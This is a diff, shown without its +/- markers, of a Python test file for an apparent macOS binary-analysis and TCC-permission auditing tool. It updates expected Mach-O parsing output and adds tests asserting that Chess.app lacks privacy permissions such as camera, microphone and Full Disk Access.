expected_output_1 = 'ARM64'
expected_output_2 = 'EXECUTE'
expected_output_3 = 'NOUNDEFS DYLDLINK TWOLEVEL PIE'
expected_output_3 = 'Flags: 2097285'
assert expected_output_1 in uroboros_output
assert expected_output_2 in uroboros_output
@@ -490,11 +490,11 @@ class TestSnakeI():
macho_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output_1 = '__TEXT __text REGULAR 0x100003f58-0x100007eb0 0x3f58-0x3f8c (SOME_INSTRUCTIONS PURE_INSTRUCTIONS)'
expected_output_2 = '__TEXT __stubs SYMBOL_STUBS 0x100003f8c-0x100007f18 0x3f8c-0x3f98 (SOME_INSTRUCTIONS PURE_INSTRUCTIONS)'
expected_output_3 = '__TEXT __cstring CSTRING_LITERALS 0x100003f98-0x100007f30 0x3f98-0x3fa7 ()'
expected_output_4 = '__TEXT __unwind_info REGULAR 0x100003fa8-0x100007f50 0x3fa8-0x4000 ()'
expected_output_5 = '__DATA_CONST __got NON_LAZY_SYMBOL_POINTERS 0x100004000-0x100008000 0x4000-0x4008 ()'
expected_output_1 = '__TEXT __text'
expected_output_2 = '__TEXT __stubs'
expected_output_3 = '__TEXT __cstring'
expected_output_4 = '__TEXT __unwind_info'
expected_output_5 = '__DATA_CONST __got'
assert expected_output_1 in uroboros_output
assert expected_output_2 in uroboros_output
@@ -710,9 +710,9 @@ class TestSnakeI():
expected_output_1 = 'Entry point: 0x3f58'
expected_output_2 = '__mh_execute_header'
expected_output_3 = '__PAGEZERO ---/--- VM: 0x0000000000000000-0x0000000100000000 FILE: 0x0-0x0'
expected_output_4 = '__DATA_CONST0x100004000: _printf (libSystem.B.dylib) addend: 0x0'
expected_output_5 = 'Command : SEGMENT_64'
expected_output_3 = '__PAGEZERO'
expected_output_4 = '__DATA_CONST0x100004000'
expected_output_5 = 'Command: SEGMENT_64'
assert expected_output_1 in uroboros_output
assert expected_output_2 in uroboros_output
@@ -2430,7 +2430,6 @@ class TestSnakeVIII():
assert expected_output in uroboros_output
def test_sandbox_entitlements(self):
'''Test the --sandbox_entitlements flag of SnakeVIII.'''
args_list = ['-b', "/System/Applications/Notes.app", '--sandbox_entitlements']
@@ -2584,3 +2583,232 @@ class TestSnakeVIII():
assert expected_output in uroboros_output
os.remove("sandbox")
class TestSnakeIX:
'''Testing IX. TCC Permissions'''
@classmethod
def setup_class(cls):
pass # No compilation required
@classmethod
def teardown_class(cls):
pass # No decompilation required
def test_tcc_permission(self):
'''Test the --tcc flag for general TCC permissions'''
args_list = ['-b', "/System/Applications/Chess.app", '--tcc']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Error accessing /var/db/locationd/clients.plist' in uroboros_output
def test_tcc_fda(self):
'''Test the --tcc_fda flag for Full Disk Access permission'''
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_fda']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'FDA: False' in uroboros_output
def test_tcc_automation(self):
'''Test the --tcc_automation flag for Automation TCC permission'''
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_automation']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Automation: False' in uroboros_output
def test_tcc_sysadmin(self):
'''Test the --tcc_sysadmin flag for System Policy SysAdmin Files TCC permission'''
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_sysadmin']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'SysAdmin Files Access: False' in uroboros_output
def test_tcc_location(self):
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_location']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Location Services Access: False' in uroboros_output
def test_tcc_desktop(self):
'''Test the --tcc_desktop flag for Desktop Folder permission'''
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_desktop']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Desktop Folder Access: False' in uroboros_output
def test_tcc_documents(self):
'''Test the --tcc_documents flag for Documents Folder permission'''
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_documents']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Documents Folder Access: False' in uroboros_output
def test_tcc_downloads(self):
'''Test the --tcc_downloads flag for Downloads Folder permission'''
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_downloads']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Downloads Folder Access: False' in uroboros_output
def test_tcc_photos(self):
'''Test the --tcc_photos flag for Photos Library access'''
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_photos']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Photos Library Access:' in uroboros_output
def test_tcc_contacts(self):
'''Test the --tcc_contacts flag for Contacts access'''
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_contacts']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Contacts Access: False' in uroboros_output
def test_tcc_calendar(self):
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_calendar']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Calendar Access: False' in uroboros_output
def test_tcc_camera(self):
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_camera']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Camera Access: False' in uroboros_output
def test_tcc_microphone(self):
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_microphone']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Microphone Access: False' in uroboros_output
def test_tcc_recording(self):
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_recording']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Screen Recording Access: False' in uroboros_output
def test_tcc_accessibility(self):
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_accessibility']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Accessibility Access: False' in uroboros_output
def test_tcc_icloud(self):
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_icloud']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
tcc_processor = TCCProcessor()
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'iCloud Access: False' in uroboros_output